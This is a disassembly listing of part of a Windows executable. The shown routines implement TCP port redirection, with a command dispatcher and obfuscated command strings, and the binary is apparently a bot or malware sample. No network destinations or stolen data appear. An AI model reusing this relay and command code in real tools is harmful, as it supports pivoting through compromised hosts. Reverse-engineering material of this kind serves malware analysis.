		push	offset off_443D3C
		lea	ecx, [esi+11h]
		mov	dword ptr [esp+14h], 0
		mov	dword ptr [esi], offset	off_43E1A0
		call	sub_4015D7
		mov	ecx, [esp+8]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B3E0	proc near		; CODE XREF: ___:00401398j sub_401F41j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4011BD
		test	[esp+4+arg_0], 1
		jz	short loc_42B3F8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B3F8:				; CODE XREF: sub_42B3E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B3E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B410	proc near		; CODE XREF: sub_4011BDj
		jmp	sub_40179E
sub_42B410	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B430	proc near		; CODE XREF: sub_40134Dj

var_10		= byte ptr -10h

		mov	eax, 1000h
		call	sub_4368D0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_42B4BC
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B45C:				; CODE XREF: sub_42B430+8Aj
		mov	edx, [esi+9Dh]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+10h]
		rep stosd
		push	eax
		mov	eax, [edx+0A5h]
		lea	ecx, [esp+14h]
		push	1000h
		push	ecx
		push	eax
		call	ebx	; recv
		test	eax, eax
		jz	short loc_42B4BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B4BC
		mov	edx, [esi+9Dh]
		push	0
		push	eax
		lea	ecx, [esp+28h+var_10]
		mov	eax, [edx+0A1h]
		push	ecx
		push	eax
		call	ebp	; send
		test	eax, eax
		jz	short loc_42B4BC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B4BC
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	short loc_42B45C


loc_42B4BC:				; CODE XREF: sub_42B430+1Ej
					; sub_42B430+55j ...
		mov	edx, [esi+9Dh]
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, [edx+0A1h]
		pop	ebx
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B4D8
		push	eax
		nop
		call	near ptr 71AB9639h


loc_42B4D8:				; CODE XREF: sub_42B430+9Fj
		add	esp, 1000h
		retn
sub_42B430	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B510	proc near		; CODE XREF: sub_401663j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42B510
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset off_443D3C
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E1B0
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42B510	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B580	proc near		; CODE XREF: ___:004013A7j sub_401B22j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401217
		test	[esp+4+arg_0], 1
		jz	short loc_42B598
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B598:				; CODE XREF: sub_42B580+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42B580	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B5B0	proc near		; CODE XREF: sub_401217j
		jmp	sub_40179E
sub_42B5B0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B5D0	proc near		; CODE XREF: sub_40152Dj

var_50		= byte ptr -50h
var_40		= byte ptr -40h
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_C		= byte ptr -0Ch
var_A		= word ptr -0Ah
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, 1014h
		call	sub_4368D0
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+99h]
		mov	[esi+0A5h], edi
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42B79A
		mov	ebx, 1
		push	6
		push	ebx
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, edi
		mov	[esi+0A5h], eax
		jnz	short loc_42B628
		mov	[esi+0A5h], edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B628:				; CODE XREF: sub_42B5D0+45j
		mov	dx, [esi+3Fh]
		xor	ecx, ecx
		mov	[esp+1Ch+var_8], ecx
		push	edx
		mov	[esp+20h+var_4], ecx
		mov	word ptr [esp+20h+var_8], 2
		mov	[esp+20h], ecx
		mov	[esp+20h+arg_0], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esi+43h]
		mov	[esp+20h+var_A], ax
		call	sub_4017E4
		push	eax
		call	sub_40187F
		add	esp, 4
		cmp	eax, edi
		mov	[esp+20h+var_8], eax
		jnz	short loc_42B682
		mov	eax, [esi+0A5h]
		push	eax
		call	near ptr 71AB9639h
		nop
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B682:				; CODE XREF: sub_42B5D0+98j
		mov	edx, [esi+0A5h]
		lea	ecx, [esp+20h+var_C]
		push	10h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, edi
		jnz	short loc_42B6B2
		mov	eax, [esi+0A5h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
; ---------------------------------------------------------------------------


loc_42B6B2:				; CODE XREF: sub_42B5D0+C8j
		mov	edx, [esi+0A1h]
		mov	edi, dword_50FC50
		lea	ecx, [esp+2Ch+var_1C]
		mov	[esp+2Ch+var_1C], ebx
		push	ecx
		push	8004667Eh
		push	edx
		call	edi	; ioctlsocket
		mov	ecx, [esi+0A5h]
		lea	eax, [esp+38h+var_28]
		push	eax
		push	8004667Eh
		push	ecx
		mov	[esp+44h+var_28], ebx
		call	edi	; ioctlsocket
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42B79A
		mov	ebx, dword_50FC90
		mov	ebp, dword_50FC8C


loc_42B706:				; CODE XREF: sub_42B5D0+1BAj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+48h+var_20]
		push	1000h
		push	eax
		push	ecx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B79A
		jge	short loc_42B730
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B792


loc_42B730:				; CODE XREF: sub_42B5D0+151j
		mov	eax, [esi+0A1h]
		push	0
		lea	edx, [esp+58h+var_30]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		mov	edx, [esi+0A1h]
		push	0
		lea	ecx, [esp+68h+var_40]
		push	1000h
		push	ecx
		push	edx
		call	ebx	; recv
		mov	edi, eax
		test	edi, edi
		jz	short loc_42B79A
		jge	short loc_42B76B
		nop
		call	near ptr 71AB94DCh
		cmp	eax, 2733h
		jnz	short loc_42B792


loc_42B76B:				; CODE XREF: sub_42B5D0+18Cj
		mov	ecx, [esi+0A5h]
		push	0
		lea	eax, [esp+78h+var_50]
		push	edi
		push	eax
		push	ecx
		call	ebp	; send
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42B706
		jmp	short loc_42B79A
; ---------------------------------------------------------------------------


loc_42B792:				; CODE XREF: sub_42B5D0+15Ej
					; sub_42B5D0+199j
		push	0Ah
		call	near ptr 2870000h
		nop


loc_42B79A:				; CODE XREF: sub_42B5D0+27j
					; sub_42B5D0+124j ...
		mov	eax, [esi+0A1h]
		mov	edi, dword_50FC88
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42B7AE
		push	eax
		call	edi	; closesocket


loc_42B7AE:				; CODE XREF: sub_42B5D0+1D9j
		mov	esi, [esi+0A5h]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42B7BC
		push	esi
		call	edi	; closesocket


loc_42B7BC:				; CODE XREF: sub_42B5D0+1E7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1014h
		retn
sub_42B5D0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 80h dup(0CCh)
		db  6Ah	; j
		db 0FFh
		db  68h	; h
		db 0E8h	; è
		db 0BCh	; ¼
		db  43h	; C
		db    0
		db  64h	; d
		db 0A1h	; ¡
		db    0
		db    0
		db    0
		db    0
		db  50h	; P
		db  64h	; d
		db  89h	; ‰
		db  25h	; %
		db    0
		db    0
		db    0
		db    0
		db  51h	; Q
		db  56h	; V
		db  8Bh	; ‹
		db 0F1h	; ñ
		db  89h	; ‰
		db  74h	; t
		db  24h	; $
		db    4
		db 0E8h	; è
		db  10h
		db  67h	; g
		db 0FDh	; ý
		db 0FFh
		db  68h	; h
		db  3Ch	; <
		db  3Dh	; =
		db  44h	; D
		db    0
		db  8Dh	; 
		db  4Eh	; N
		db  11h
		db 0C7h	; Ç
		db  44h	; D
		db  24h	; $
		db  14h
		db    0
		db    0
		db    0
		db    0
		db 0C7h	; Ç
		db    6
		db 0C0h	; À
		db 0E1h	; á
		db  43h	; C
		db    0
		db 0E8h	; è
		db  4Ah	; J
		db  5Dh	; ]
		db 0FDh	; ý
		db 0FFh
		db  8Bh	; ‹
		db  4Ch	; L
		db  24h	; $
		db    8
		db  8Bh	; ‹
		db 0C6h	; Æ
		db  5Eh	; ^
		db  64h	; d
		db  89h	; ‰
		db  0Dh
		db    0
		db    0
		db    0
		db    0
		db  83h	; ƒ
		db 0C4h	; Ä
		db  10h
		db 0C3h	; Ã
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42B8C0:				; CODE XREF: ___:loc_4015F0j
					; ___:00401FAAj
		push	esi
		mov	esi, ecx
		call	sub_401B8B
		test	byte ptr [esp+8], 1
		jz	short loc_42B8D8
		push	esi
		call	sub_436872
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42B8D8:				; CODE XREF: ___:0042B8CDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42B8F0	proc near		; CODE XREF: sub_401B8Bj
		jmp	sub_40179E
sub_42B8F0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42B910	proc near		; CODE XREF: sub_4019E2j

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42B910
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+3Fh]
		lea	ebx, [esi+43h]
		push	eax
		mov	ecx, ebx
		lea	edi, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		mov	ecx, [esi+3Bh]
		push	eax
		push	ecx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		push	offset aSRedirectingFr ; "[%s] Redirecting from	Port %d	to '%s:%d"...
		mov	ecx, ebp
		call	sub_4014D3
		mov	dl, [esi+98h]
		push	eax
		mov	al, [esi+97h]
		push	edx
		push	eax
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 24h
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42BB48
		mov	dx, [esi+3Bh]
		xor	ecx, ecx
		mov	[esp+44h+var_2C], ecx
		push	edx
		mov	[esp+48h+var_28], ecx
		mov	word ptr [esp+48h+var_2C], 2
		mov	[esp+48h+var_24], ecx
		mov	[esp+48h+var_20], ecx
		call	near ptr 71AB2B66h
		nop
		mov	ecx, [esi+9Dh]
		mov	word ptr [esp+44h+var_2C+2], ax
		lea	eax, [esp+44h+var_2C]
		push	10h
		push	eax
		push	ecx
		mov	[esp+50h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42B9FB
		mov	edx, [esi+9Dh]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42B9FB:				; CODE XREF: sub_42B910+C9j
		mov	eax, [esi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	loc_42BAF4


loc_42BA0F:				; CODE XREF: sub_42B910+1DEj
		mov	ecx, [esi+9Dh]
		push	0Ah
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_42BAD5
		mov	ecx, [esi+9Dh]
		lea	edx, [esp+44h+var_34]
		lea	eax, [esp+44h+var_1C]
		push	edx
		push	eax
		push	ecx
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42BAD5
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42BAD5
		push	0A9h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42BA75
		mov	ecx, eax
		call	sub_401663
		mov	edi, eax


loc_42BA75:				; CODE XREF: sub_42B910+15Aj
		mov	edx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], edx
		mov	eax, [esi+3Bh]
		mov	[edi+3Bh], eax
		mov	ecx, [esi+3Fh]
		mov	[edi+3Fh], ecx
		push	ebx
		lea	ecx, [edi+43h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401FBE
		lea	eax, [esi+26h]
		lea	ecx, [edi+26h]
		push	eax
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	dl, [esi+97h]
		mov	ecx, edi
		mov	[edi+97h], dl
		mov	al, [esi+98h]
		mov	[edi+98h], al
		call	sub_4013D4


loc_42BAD5:				; CODE XREF: sub_42B910+111j
					; sub_42B910+133j ...
		push	0FAh
		nop
		call	near ptr 2870000h
		mov	ecx, [esi+99h]
		mov	al, [ecx+11Ch]
		test	al, al
		jnz	loc_42BA0F


loc_42BAF4:				; CODE XREF: sub_42B910+F9j
		mov	eax, [esi+9Dh]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42BB06
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42BB06:				; CODE XREF: sub_42B910+1EDj
		mov	edx, [esi+3Fh]
		mov	ecx, ebx
		push	edx
		call	sub_4017E4
		push	eax
		mov	eax, [esi+3Bh]
		push	eax
		lea	ecx, [esi+11h]
		call	sub_4017E4
		push	eax
		push	offset aSFinishedRed_0 ; "[%s] Finished	redirecting from port %d "...
		lea	ecx, [esi+26h]
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D6065
		call	sub_401848
		add	esp, 24h


loc_42BB48:				; CODE XREF: sub_42B910+7Cj
		mov	ecx, [esp+44h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42B910	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42BC00	proc near		; CODE XREF: sub_4021DFj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42BC00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	10h
		push	3
		push	14h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		mov	esi, ecx
		push	5
		lea	eax, [esp+74h+var_3C]
		push	12h
		push	eax
		mov	dword ptr [esi+118h], 0
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
sub_42BC00	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	7
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+38h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 38h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	14h
		push	14h
		push	8
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+3Ch]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	eax, [esp+40h]
		push	12h
		push	eax
		call	sub_4019B5
		add	esp, 40h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+8Eh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	49h
		push	13h
		push	0Bh
		push	3
		push	0Fh
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	edx, [esp+44h]
		push	12h
		push	edx
		call	sub_4019B5
		add	esp, 44h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+0BCh]
		push	eax
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	14h
		push	3
		push	5
		push	12h
		push	9
		push	4
		push	5
		lea	ecx, [esp+54h]
		push	12h
		push	ecx
		call	sub_4019B5
		add	esp, 3Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 0EAh
		push	eax
		push	esi
		mov	ecx, offset dword_447108
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42BEF0	proc near		; CODE XREF: sub_40202Cj

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42BEF0
		push	eax
		mov	large fs:0, esp
		sub	esp, 68h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+80h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	edi, [esi+7Eh]
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		or	ebx, 0FFFFFFFFh
		test	eax, eax
		jnz	loc_42C057
		push	0A1h
		call	sub_43688A
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 88248489h, 33000000h, 89C73BFFh, 8024BCh, 9740000h
		dd 3E8C88Bh, 8BFFFD57h,	360068F8h, 448D0044h, 16A4C24h
		dd 11C85C6h, 50010000h,	9C89CE8Bh, 8C24h, 99AF8900h, 0E8000000h
		dd 0FFFD572Ah, 84C7C88Bh, 8024h, 100h, 584EE800h, 9050FFFDh
		dd 7EFF7BE8h, 4C48377h,	48244C8Dh, 893B4789h, 80249Ch
		dd 73E80000h, 68FFFD52h, 443600h, 4C244C8Dh, 8B51026Ah
		dd 56E8E8CEh, 8D50FFFDh, 84C7434Fh, 8424h, 200h, 5FE4E800h
		dd 4C8DFFFDh, 9C894824h, 8024h,	523CE800h, 68FFFDh, 8D004436h
		dd 6A4C2454h, 0CE8B5203h, 0FD56B1E8h, 0C7C88BFFh, 802484h
		dd 30000h, 0D5E80000h, 50FFFD57h, 7EFF03E8h, 0C4839077h
		dd 244C8D04h, 3F478948h, 80249C89h, 0E8000000h,	0FFFD51FAh
		dd 8D69468Dh, 0E850264Fh, 0FFFD5F86h, 938E8Ah, 8F880000h
		dd 97h,	94968Ah, 0CF8B0000h, 989788h, 7DE80000h
		db 53h,	0FDh, 0FFh
; ---------------------------------------------------------------------------


loc_42C057:				; CODE XREF: sub_42BEF0+3Dj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C187
		push	9Dh
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+84h+arg_0], eax
		test	eax, eax
		mov	[esp+84h+var_4], 4
		jz	short loc_42C09E
		mov	ecx, eax
		call	sub_401889
		mov	edi, eax
		jmp	short loc_42C0A0
; ---------------------------------------------------------------------------


loc_42C09E:				; CODE XREF: sub_42BEF0+1A1j
		xor	edi, edi


loc_42C0A0:				; CODE XREF: sub_42BEF0+1ACj
		push	offset asc_443600 ; " "
		lea	eax, [esp+88h+var_3C]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+90h+var_4], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+58h]
		mov	[esp+88h+var_4], 5
		call	sub_401FBE
		lea	ecx, [esp+84h+var_3C]
		mov	[esp+84h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+88h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+6Dh]
		mov	[esp+88h+var_4], 6
		call	sub_401FBE
		lea	ecx, [esp+84h+var_3C]
		mov	[esp+84h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+88h+var_3C]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	eax
		lea	ecx, [edi+82h]
		mov	[esp+88h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+84h+var_3C]
		mov	[esp+84h+var_4], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C187:				; CODE XREF: sub_42BEF0+17Aj
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C2B0
		push	0A2h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+84h+arg_0], eax
		test	eax, eax
		mov	[esp+84h+var_4], 8
		jz	short loc_42C1CE
		mov	ecx, eax
		call	sub_4018DE
		mov	edi, eax
		jmp	short loc_42C1D0
; ---------------------------------------------------------------------------


loc_42C1CE:				; CODE XREF: sub_42BEF0+2D1j
		xor	edi, edi


loc_42C1D0:				; CODE XREF: sub_42BEF0+2DCj
		push	offset asc_443600 ; " "
		lea	eax, [esp+88h+var_3C]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	[esp+90h+var_4], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+84h+var_4], 9
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+84h+var_3C]
		mov	[edi+3Bh], eax
		mov	[esp+84h+var_4], ebx
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	ecx, [esp+88h+var_3C]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		push	offset aTrue	; "true"
		mov	ecx, eax
		mov	[esp+88h+var_4], 0Ah
		call	sub_401500
		test	eax, eax
		lea	ecx, [esp+84h+var_3C]
		mov	[esp+84h+var_4], ebx
		setz	byte ptr [esp+84h+arg_0]
		call	sub_401226
		mov	al, byte ptr [esp+84h+arg_0]
		test	al, al
		jz	short loc_42C27E
		mov	byte ptr [edi+9Dh], 1
		jmp	short loc_42C285
; ---------------------------------------------------------------------------


loc_42C27E:				; CODE XREF: sub_42BEF0+383j
		mov	byte ptr [edi+9Dh], 0


loc_42C285:				; CODE XREF: sub_42BEF0+38Cj
		lea	edx, [esi+69h]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		mov	al, [esi+93h]
		mov	[edi+97h], al
		mov	cl, [esi+94h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42C2B0:				; CODE XREF: sub_42BEF0+2AAj
		lea	ecx, [ebp+8Eh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C37D
		push	0A1h
		call	sub_43688A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+84h+arg_0], eax
		test	eax, eax
		mov	[esp+84h+var_4], 0Bh
		jz	short loc_42C2FA
		mov	ecx, eax
		call	sub_40216C
		mov	edi, eax
		jmp	short loc_42C2FC
; ---------------------------------------------------------------------------


loc_42C2FA:				; CODE XREF: sub_42BEF0+3FDj
		xor	edi, edi


loc_42C2FC:				; CODE XREF: sub_42BEF0+408j
		push	offset asc_443600 ; " "
		lea	edx, [esp+88h+var_3C]
		push	1
		mov	byte ptr [ebp+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	[esp+90h+var_4], ebx
		mov	[edi+99h], ebp
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+84h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+84h+var_3C]
		mov	[edi+3Bh], eax
		mov	[esp+84h+var_4], ebx
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		mov	cl, [esi+93h]
		mov	[edi+97h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+98h], dl
		call	sub_4013D4


loc_42C37D:				; CODE XREF: sub_42BEF0+3D6j
		lea	ecx, [ebp+0BCh]
		call	sub_4014D3
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	[esp+88h+arg_0], edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42C5A9
		lea	ecx, [esp+84h+var_54]
		call	sub_401424
		lea	ecx, [esp+84h+var_6C]
		mov	[esp+84h+var_4], 0Dh
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	eax, [esp+88h+var_3C]
		push	2
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+90h+var_4], 0Eh
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+84h+var_4], 0Fh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+88h+var_54]
